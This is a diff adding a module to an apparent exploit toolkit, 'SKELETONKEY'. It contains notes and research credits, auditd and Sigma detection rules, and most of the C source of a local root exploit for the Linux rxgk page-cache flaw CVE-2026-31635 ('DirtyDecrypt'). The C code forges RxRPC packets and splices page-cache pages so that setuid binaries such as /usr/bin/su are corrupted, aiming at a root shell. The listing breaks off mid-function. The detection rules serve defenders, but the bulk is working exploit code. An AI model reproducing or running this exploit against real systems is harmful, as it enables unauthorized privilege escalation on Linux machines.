tracker confirms older stable branches as <not-affected, vulnerable
|
||||||
|
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||||
|
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||||
|
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||||
|
the version check misses.
|
||||||
|
|
||||||
|
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||||
|
|
||||||
|
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||||
|
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||||
|
for CVE-2026-31635 is the source of truth for branch-backport
|
||||||
|
thresholds; extend the `kernel_range` table when distros publish
|
||||||
|
stable backports.
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
# NOTICE — dirtydecrypt
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||||
|
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||||
|
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||||
|
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||||
|
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||||
|
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||||
|
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||||
|
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||||
|
|
||||||
|
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||||
|
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||||
|
primitives that abuse a missing COW boundary.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||||
|
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||||
|
V12 security team.
|
||||||
|
|
||||||
|
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||||
|
|
||||||
|
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||||
|
`LICENSE` header of its own — its header is a purely technical
|
||||||
|
description of the bug. The credit above is from the public
|
||||||
|
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||||
|
flaw; its fix commit is not pinned in this module (see below).
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||||
|
`skeletonkey_module` interface. The exploit primitive — the
|
||||||
|
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||||
|
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||||
|
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||||
|
sentinel probe, `--no-shell` support, and the embedded detection
|
||||||
|
rules. Research credit belongs to the people above.
|
||||||
|
|
||||||
|
## Verification status
|
||||||
|
|
||||||
|
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||||
|
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||||
|
`detect()` does not perform a kernel-version patched/vulnerable
|
||||||
|
verdict — see `MODULE.md`.
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||||
|
#
|
||||||
|
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||||
|
# file. These rules flag the syscall surface the exploit drives and
|
||||||
|
# writes to the setuid binaries it targets.
|
||||||
|
#
|
||||||
|
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||||
|
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||||
|
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||||
|
|
||||||
|
# Modification of common payload carriers / credential files
|
||||||
|
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||||
|
|
||||||
|
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||||
|
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||||
|
|
||||||
|
# rxrpc security keys added to the process keyring
|
||||||
|
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||||
|
|
||||||
|
# splice() drives page-cache pages into the forged DATA packet
|
||||||
|
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||||
|
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||||
|
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||||
|
status: experimental
|
||||||
|
description: |
|
||||||
|
Detects the file-modification footprint of the rxgk page-cache write
|
||||||
|
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||||
|
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||||
|
a credential file.
|
||||||
|
references:
|
||||||
|
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||||
|
logsource:
|
||||||
|
product: linux
|
||||||
|
service: auditd
|
||||||
|
detection:
|
||||||
|
modification:
|
||||||
|
type: 'PATH'
|
||||||
|
name|startswith:
|
||||||
|
- '/usr/bin/su'
|
||||||
|
- '/bin/su'
|
||||||
|
- '/usr/bin/mount'
|
||||||
|
- '/usr/bin/passwd'
|
||||||
|
- '/usr/bin/chsh'
|
||||||
|
- '/etc/passwd'
|
||||||
|
- '/etc/shadow'
|
||||||
|
not_root:
|
||||||
|
auid|expression: '!= 0'
|
||||||
|
condition: modification and not_root
|
||||||
|
level: high
|
||||||
|
tags:
|
||||||
|
- attack.privilege_escalation
|
||||||
|
- attack.t1068
|
||||||
|
- cve.2026.31635
|
||||||
@@ -0,0 +1,963 @@
|
|||||||
|
/*
|
||||||
|
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) — missing copy-on-write guard
|
||||||
|
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
|
||||||
|
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
|
||||||
|
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
|
||||||
|
* When skb frag pages are page-cache pages (spliced in via
|
||||||
|
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
|
||||||
|
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
|
||||||
|
*
|
||||||
|
* This module is a faithful port of the public V12 security PoC
|
||||||
|
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
|
||||||
|
* Luna Tong / "cts"). The exploit primitive (the sliding-window
|
||||||
|
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
|
||||||
|
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
|
||||||
|
*
|
||||||
|
* Port adaptations vs. the standalone PoC:
|
||||||
|
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||||
|
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||||
|
* exit()/die() paths cannot tear down the skeletonkey dispatcher
|
||||||
|
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
|
||||||
|
* - adds an --active sentinel probe that fires the primitive against
|
||||||
|
* a disposable /tmp file instead of a setuid binary
|
||||||
|
* - the on-disk binary is never written; cleanup() evicts the page
|
||||||
|
* cache (the corruption is a page-cache-only write)
|
||||||
|
*
|
||||||
|
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||||
|
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
|
||||||
|
* pinned in this module, so detect() does not do a version-based
|
||||||
|
* patched/vulnerable verdict — see detect() and MODULE.md.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/utsname.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||||
|
* Makefile; do not redefine here (warning: redefined). */
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <sched.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <poll.h>
|
||||||
|
#include <sys/syscall.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <sys/uio.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <netinet/in.h>
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <net/if.h>
|
||||||
|
|
||||||
|
#ifdef __has_include
|
||||||
|
# if __has_include(<linux/rxrpc.h>)
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
# else
|
||||||
|
# define DD_NEED_RXRPC_DEFS
|
||||||
|
# endif
|
||||||
|
#else
|
||||||
|
# include <linux/if.h>
|
||||||
|
# include <linux/rxrpc.h>
|
||||||
|
# include <linux/keyctl.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef AF_RXRPC
|
||||||
|
#define AF_RXRPC 33
|
||||||
|
#endif
|
||||||
|
#ifndef SOL_RXRPC
|
||||||
|
#define SOL_RXRPC 272
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef DD_NEED_RXRPC_DEFS
|
||||||
|
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||||
|
#define RXRPC_SECURITY_KEY 1
|
||||||
|
#define RXRPC_MIN_SECURITY_LEVEL 4
|
||||||
|
#define RXRPC_SECURITY_ENCRYPT 2
|
||||||
|
#define RXRPC_USER_CALL_ID 1
|
||||||
|
struct sockaddr_rxrpc {
|
||||||
|
unsigned short srx_family;
|
||||||
|
uint16_t srx_service;
|
||||||
|
uint16_t transport_type;
|
||||||
|
uint16_t transport_len;
|
||||||
|
union {
|
||||||
|
unsigned short family;
|
||||||
|
struct sockaddr_in sin;
|
||||||
|
struct sockaddr_in6 sin6;
|
||||||
|
} transport;
|
||||||
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define RXGK_SECURITY_INDEX 6
|
||||||
|
#define ENCTYPE_AES128_CTS 17
|
||||||
|
#define AES_KEY_LEN 16
|
||||||
|
|
||||||
|
struct rxrpc_wire_header {
|
||||||
|
uint32_t epoch;
|
||||||
|
uint32_t cid;
|
||||||
|
uint32_t callNumber;
|
||||||
|
uint32_t seq;
|
||||||
|
uint32_t serial;
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t flags;
|
||||||
|
uint8_t userStatus;
|
||||||
|
uint8_t securityIndex;
|
||||||
|
uint16_t cksum;
|
||||||
|
uint16_t serviceId;
|
||||||
|
} __attribute__((packed));
|
||||||
|
|
||||||
|
#define RXRPC_PACKET_TYPE_DATA 1
|
||||||
|
#define RXRPC_PACKET_TYPE_CHALLENGE 6
|
||||||
|
#define RXRPC_LAST_PACKET 0x04
|
||||||
|
|
||||||
|
/* dd_verbose gates step/status chatter; errors always print. Set per
|
||||||
|
* invocation from !ctx->json before any helper runs. */
|
||||||
|
static int dd_verbose = 1;
|
||||||
|
#define LOG(fmt, ...) do { if (dd_verbose) \
|
||||||
|
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||||
|
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
|
||||||
|
|
||||||
|
/* Candidate setuid-root targets, in preference order. */
|
||||||
|
static const char *const dd_targets[] = {
|
||||||
|
"/usr/bin/su", "/bin/su", "/usr/bin/mount",
|
||||||
|
"/usr/bin/passwd", "/usr/bin/chsh", NULL
|
||||||
|
};
|
||||||
|
|
||||||
|
/* --- helpers (faithful to the V12 PoC) --- */
|
||||||
|
|
||||||
|
static long key_add(const char *type, const char *desc,
|
||||||
|
const void *payload, size_t plen, int ringid)
|
||||||
|
{
|
||||||
|
return syscall(SYS_add_key, type, desc, payload, plen, ringid);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int write_proc(const char *path, const char *buf)
|
||||||
|
{
|
||||||
|
int fd = open(path, O_WRONLY);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
int n = write(fd, buf, strlen(buf));
|
||||||
|
close(fd);
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void setup_ns(void)
|
||||||
|
{
|
||||||
|
uid_t uid = getuid();
|
||||||
|
gid_t gid = getgid();
|
||||||
|
|
||||||
|
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||||
|
if (unshare(CLONE_NEWNET) < 0) {
|
||||||
|
perror("unshare");
|
||||||
|
_exit(4);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
write_proc("/proc/self/setgroups", "deny");
|
||||||
|
char map[64];
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", uid);
|
||||||
|
write_proc("/proc/self/uid_map", map);
|
||||||
|
snprintf(map, sizeof(map), "0 %u 1", gid);
|
||||||
|
write_proc("/proc/self/gid_map", map);
|
||||||
|
}
|
||||||
|
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s >= 0) {
|
||||||
|
struct ifreq ifr = {0};
|
||||||
|
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
|
||||||
|
if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) {
|
||||||
|
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
|
||||||
|
ioctl(s, SIOCSIFFLAGS, &ifr);
|
||||||
|
}
|
||||||
|
close(s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put32(uint8_t **pp, uint32_t val)
|
||||||
|
{
|
||||||
|
uint32_t nv = htonl(val);
|
||||||
|
memcpy(*pp, &nv, 4);
|
||||||
|
*pp += 4;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put64(uint8_t **pp, uint64_t val)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)(val >> 32));
|
||||||
|
xdr_put32(pp, (uint32_t)(val & 0xFFFFFFFF));
|
||||||
|
}
|
||||||
|
|
||||||
|
static void xdr_put_data(uint8_t **pp, const void *data, size_t len)
|
||||||
|
{
|
||||||
|
xdr_put32(pp, (uint32_t)len);
|
||||||
|
memcpy(*pp, data, len);
|
||||||
|
*pp += len;
|
||||||
|
size_t pad = (4 - (len & 3)) & 3;
|
||||||
|
if (pad) { memset(*pp, 0, pad); *pp += pad; }
|
||||||
|
}
|
||||||
|
|
||||||
|
static int build_rxgk_token(uint8_t *out, size_t maxlen,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t *p = out;
|
||||||
|
struct timespec ts;
|
||||||
|
clock_gettime(CLOCK_REALTIME, &ts);
|
||||||
|
uint64_t now = (uint64_t)ts.tv_sec * 10000000ULL +
|
||||||
|
(uint64_t)ts.tv_nsec / 100ULL;
|
||||||
|
|
||||||
|
xdr_put32(&p, 0); /* flags */
|
||||||
|
xdr_put_data(&p, "poc.test", 8); /* cell */
|
||||||
|
xdr_put32(&p, 1); /* ntoken */
|
||||||
|
|
||||||
|
uint8_t tok[512];
|
||||||
|
uint8_t *tp = tok;
|
||||||
|
xdr_put32(&tp, RXGK_SECURITY_INDEX);
|
||||||
|
xdr_put64(&tp, now); /* begintime */
|
||||||
|
xdr_put64(&tp, now + 864000000000ULL); /* endtime */
|
||||||
|
xdr_put64(&tp, 2); /* level = ENCRYPT */
|
||||||
|
xdr_put64(&tp, 864000000000ULL); /* lifetime */
|
||||||
|
xdr_put64(&tp, 0); /* bytelife */
|
||||||
|
xdr_put64(&tp, ENCTYPE_AES128_CTS); /* enctype */
|
||||||
|
xdr_put_data(&tp, base_key, keylen); /* key */
|
||||||
|
uint8_t ticket[8] = {0xDE,0xAD,0xBE,0xEF,0xCA,0xFE,0xBA,0xBE};
|
||||||
|
xdr_put_data(&tp, ticket, sizeof(ticket));
|
||||||
|
|
||||||
|
size_t toklen = (size_t)(tp - tok);
|
||||||
|
xdr_put32(&p, (uint32_t)toklen);
|
||||||
|
memcpy(p, tok, toklen);
|
||||||
|
p += toklen;
|
||||||
|
|
||||||
|
if ((size_t)(p - out) > maxlen) return -1;
|
||||||
|
return (int)(p - out);
|
||||||
|
}
|
||||||
|
|
||||||
|
static long add_rxgk_key(const char *desc, const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
uint8_t buf[1024];
|
||||||
|
int n = build_rxgk_token(buf, sizeof(buf), base_key, keylen);
|
||||||
|
if (n < 0) return -1;
|
||||||
|
return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_rxrpc_client(uint16_t local_port, const char *keyname)
|
||||||
|
{
|
||||||
|
int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET);
|
||||||
|
if (fd < 0) return -1;
|
||||||
|
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY,
|
||||||
|
keyname, strlen(keyname)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
int min_level = RXRPC_SECURITY_ENCRYPT;
|
||||||
|
if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL,
|
||||||
|
&min_level, sizeof(min_level)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = 0;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(local_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) {
|
||||||
|
close(fd); return -1;
|
||||||
|
}
|
||||||
|
return fd;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int initiate_call(int cli_fd, uint16_t srv_port, uint16_t service_id)
|
||||||
|
{
|
||||||
|
char data[] = "TESTDATA";
|
||||||
|
struct sockaddr_rxrpc srx = {0};
|
||||||
|
srx.srx_family = AF_RXRPC;
|
||||||
|
srx.srx_service = service_id;
|
||||||
|
srx.transport_type = SOCK_DGRAM;
|
||||||
|
srx.transport_len = sizeof(struct sockaddr_in);
|
||||||
|
srx.transport.sin.sin_family = AF_INET;
|
||||||
|
srx.transport.sin.sin_port = htons(srv_port);
|
||||||
|
srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001);
|
||||||
|
|
||||||
|
char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))];
|
||||||
|
struct msghdr msg = {0};
|
||||||
|
msg.msg_name = &srx;
|
||||||
|
msg.msg_namelen = sizeof(srx);
|
||||||
|
struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) };
|
||||||
|
msg.msg_iov = &iov;
|
||||||
|
msg.msg_iovlen = 1;
|
||||||
|
msg.msg_control = cmsg_buf;
|
||||||
|
msg.msg_controllen = sizeof(cmsg_buf);
|
||||||
|
struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_level = SOL_RXRPC;
|
||||||
|
cmsg->cmsg_type = RXRPC_USER_CALL_ID;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long));
|
||||||
|
*(unsigned long *)CMSG_DATA(cmsg) = 0xDEAD;
|
||||||
|
|
||||||
|
int fl = fcntl(cli_fd, F_GETFL);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
ssize_t n = sendmsg(cli_fd, &msg, 0);
|
||||||
|
fcntl(cli_fd, F_SETFL, fl);
|
||||||
|
|
||||||
|
if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK)
|
||||||
|
return -1;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int setup_udp_server(uint16_t port)
|
||||||
|
{
|
||||||
|
int s = socket(AF_INET, SOCK_DGRAM, 0);
|
||||||
|
if (s < 0) return -1;
|
||||||
|
struct sockaddr_in sa = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_port = htons(port),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001),
|
||||||
|
};
|
||||||
|
int one = 1;
|
||||||
|
setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
|
||||||
|
if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
|
||||||
|
close(s); return -1;
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
static ssize_t udp_recv(int s, void *buf, size_t cap,
|
||||||
|
struct sockaddr_in *from, int timeout_ms)
|
||||||
|
{
|
||||||
|
struct pollfd pfd = { .fd = s, .events = POLLIN };
|
||||||
|
if (poll(&pfd, 1, timeout_ms) <= 0) return -1;
|
||||||
|
socklen_t fl = from ? sizeof(*from) : 0;
|
||||||
|
return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int dd_trigger_seq = 0;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Fire one splice-based page-cache corruption at the given file offset.
|
||||||
|
* Returns 1 on fire, -1 on setup error.
|
||||||
|
*/
|
||||||
|
static int fire(int target_fd, off_t splice_off, size_t splice_len,
|
||||||
|
const uint8_t *base_key, size_t keylen)
|
||||||
|
{
|
||||||
|
char keyname[32];
|
||||||
|
snprintf(keyname, sizeof(keyname), "rxgk%d", dd_trigger_seq++);
|
||||||
|
|
||||||
|
long key = add_rxgk_key(keyname, base_key, keylen);
|
||||||
|
if (key < 0) return -1;
|
||||||
|
|
||||||
|
uint16_t port_S = 10000 + (rand() % 27000) * 2;
|
||||||
|
uint16_t port_C = port_S + 1;
|
||||||
|
int ret = -1;
|
||||||
|
|
||||||
|
int udp_srv = setup_udp_server(port_S);
|
||||||
|
if (udp_srv < 0) goto out_key;
|
||||||
|
|
||||||
|
int cli = setup_rxrpc_client(port_C, keyname);
|
||||||
|
if (cli < 0) goto out_udp;
|
||||||
|
|
||||||
|
if (initiate_call(cli, port_S, 1234) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
uint8_t pkt[2048];
|
||||||
|
struct sockaddr_in cli_addr;
|
||||||
|
ssize_t n = udp_recv(udp_srv, pkt, sizeof(pkt), &cli_addr, 50);
|
||||||
|
if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) goto out_cli;
|
||||||
|
|
||||||
|
struct rxrpc_wire_header *hdr = (struct rxrpc_wire_header *)pkt;
|
||||||
|
uint32_t epoch = ntohl(hdr->epoch);
|
||||||
|
uint32_t cid = ntohl(hdr->cid);
|
||||||
|
uint32_t callN = ntohl(hdr->callNumber);
|
||||||
|
uint16_t svc = ntohs(hdr->serviceId);
|
||||||
|
uint16_t cport = ntohs(cli_addr.sin_port);
|
||||||
|
|
||||||
|
/* send challenge */
|
||||||
|
{
|
||||||
|
uint8_t ch[sizeof(struct rxrpc_wire_header) + 20];
|
||||||
|
memset(ch, 0, sizeof(ch));
|
||||||
|
struct rxrpc_wire_header *c = (struct rxrpc_wire_header *)ch;
|
||||||
|
c->epoch = htonl(epoch);
|
||||||
|
c->cid = htonl(cid);
|
||||||
|
c->serial = htonl(0x10000);
|
||||||
|
c->type = RXRPC_PACKET_TYPE_CHALLENGE;
|
||||||
|
c->securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
c->serviceId = htons(svc);
|
||||||
|
for (int i = 0; i < 20; i++)
|
||||||
|
ch[sizeof(struct rxrpc_wire_header) + i] = rand() & 0xFF;
|
||||||
|
struct sockaddr_in to = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
sendto(udp_srv, ch, sizeof(ch), 0,
|
||||||
|
(struct sockaddr *)&to, sizeof(to));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* drain response(s) */
|
||||||
|
for (int i = 0; i < 3; i++) {
|
||||||
|
struct sockaddr_in src;
|
||||||
|
if (udp_recv(udp_srv, pkt, sizeof(pkt), &src, 5) < 0) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* forge DATA packet: wire header from userspace, payload from page cache */
|
||||||
|
struct rxrpc_wire_header mal = {0};
|
||||||
|
mal.epoch = htonl(epoch);
|
||||||
|
mal.cid = htonl(cid);
|
||||||
|
mal.callNumber = htonl(callN);
|
||||||
|
mal.seq = htonl(1);
|
||||||
|
mal.serial = htonl(0x42000);
|
||||||
|
mal.type = RXRPC_PACKET_TYPE_DATA;
|
||||||
|
mal.flags = RXRPC_LAST_PACKET;
|
||||||
|
mal.securityIndex = RXGK_SECURITY_INDEX;
|
||||||
|
mal.serviceId = htons(svc);
|
||||||
|
|
||||||
|
struct sockaddr_in dst = { .sin_family = AF_INET,
|
||||||
|
.sin_port = htons(cport),
|
||||||
|
.sin_addr.s_addr = htonl(0x7F000001) };
|
||||||
|
if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0)
|
||||||
|
goto out_cli;
|
||||||
|
|
||||||
|
int p[2];
|
||||||
|
if (pipe(p) < 0) goto out_cli;
|
||||||
|
struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) };
|
||||||
|
if (vmsplice(p[1], &viv, 1, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
loff_t off = splice_off;
|
||||||
|
if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0)
|
||||||
|
{ close(p[0]); close(p[1]); goto out_cli; }
|
||||||
|
close(p[0]); close(p[1]);
|
||||||
|
|
||||||
|
usleep(1000);
|
||||||
|
|
||||||
|
/* drain the error from the client socket (HMAC check fails as expected) */
|
||||||
|
int fl = fcntl(cli, F_GETFL);
|
||||||
|
fcntl(cli, F_SETFL, fl | O_NONBLOCK);
|
||||||
|
for (int i = 0; i < 2; i++) {
|
||||||
|
char rb[2048]; struct sockaddr_rxrpc srx; char ccb[256];
|
||||||
|
struct msghdr m = {0};
|
||||||
|
struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) };
|
||||||
|
m.msg_name = &srx; m.msg_namelen = sizeof(srx);
|
||||||
|
m.msg_iov = &iv; m.msg_iovlen = 1;
|
||||||
|
m.msg_control = ccb; m.msg_controllen = sizeof(ccb);
|
||||||
|
recvmsg(cli, &m, 0);
|
||||||
|
}
|
||||||
|
ret = 1;
|
||||||
|
|
||||||
|
out_cli:
|
||||||
|
close(cli);
|
||||||
|
out_udp:
|
||||||
|
close(udp_srv);
|
||||||
|
out_key:
|
||||||
|
syscall(SYS_keyctl, 9 /* KEYCTL_UNLINK */, key, KEY_SPEC_PROCESS_KEYRING);
|
||||||
|
syscall(SYS_keyctl, 21 /* KEYCTL_INVALIDATE */, key);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* --- sliding-window write with progress display --- */
|
||||||
|
|
||||||
|
static void dd_progress(int done, int total, int fires)
|
||||||
|
{
|
||||||
|
if (!dd_verbose) return;
|
||||||
|
int width = 40;
|
||||||
|
int filled = total ? (done * width / total) : 0;
|
||||||
|
int pct = total ? (done * 100 / total) : 0;
|
||||||
|
fprintf(stderr, "\r [");
|
||||||
|
for (int j = 0; j < width; j++)
|
||||||
|
fputc(j < filled ? '=' : (j == filled ? '>' : ' '), stderr);
|
||||||
|
fprintf(stderr, "] %3d%% (%d/%d, %d fires)", pct, done, total, fires);
|
||||||
|
if (done == total) fputc('\n', stderr);
|
||||||
|
fflush(stderr);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int pagecache_write(int rfd, void *map, off_t base,
|
||||||
|
const uint8_t *target, int len, off_t file_size,
|
||||||
|
const char *label)
|
||||||
|
{
|
||||||
|
uint8_t key[16];
|
||||||
|
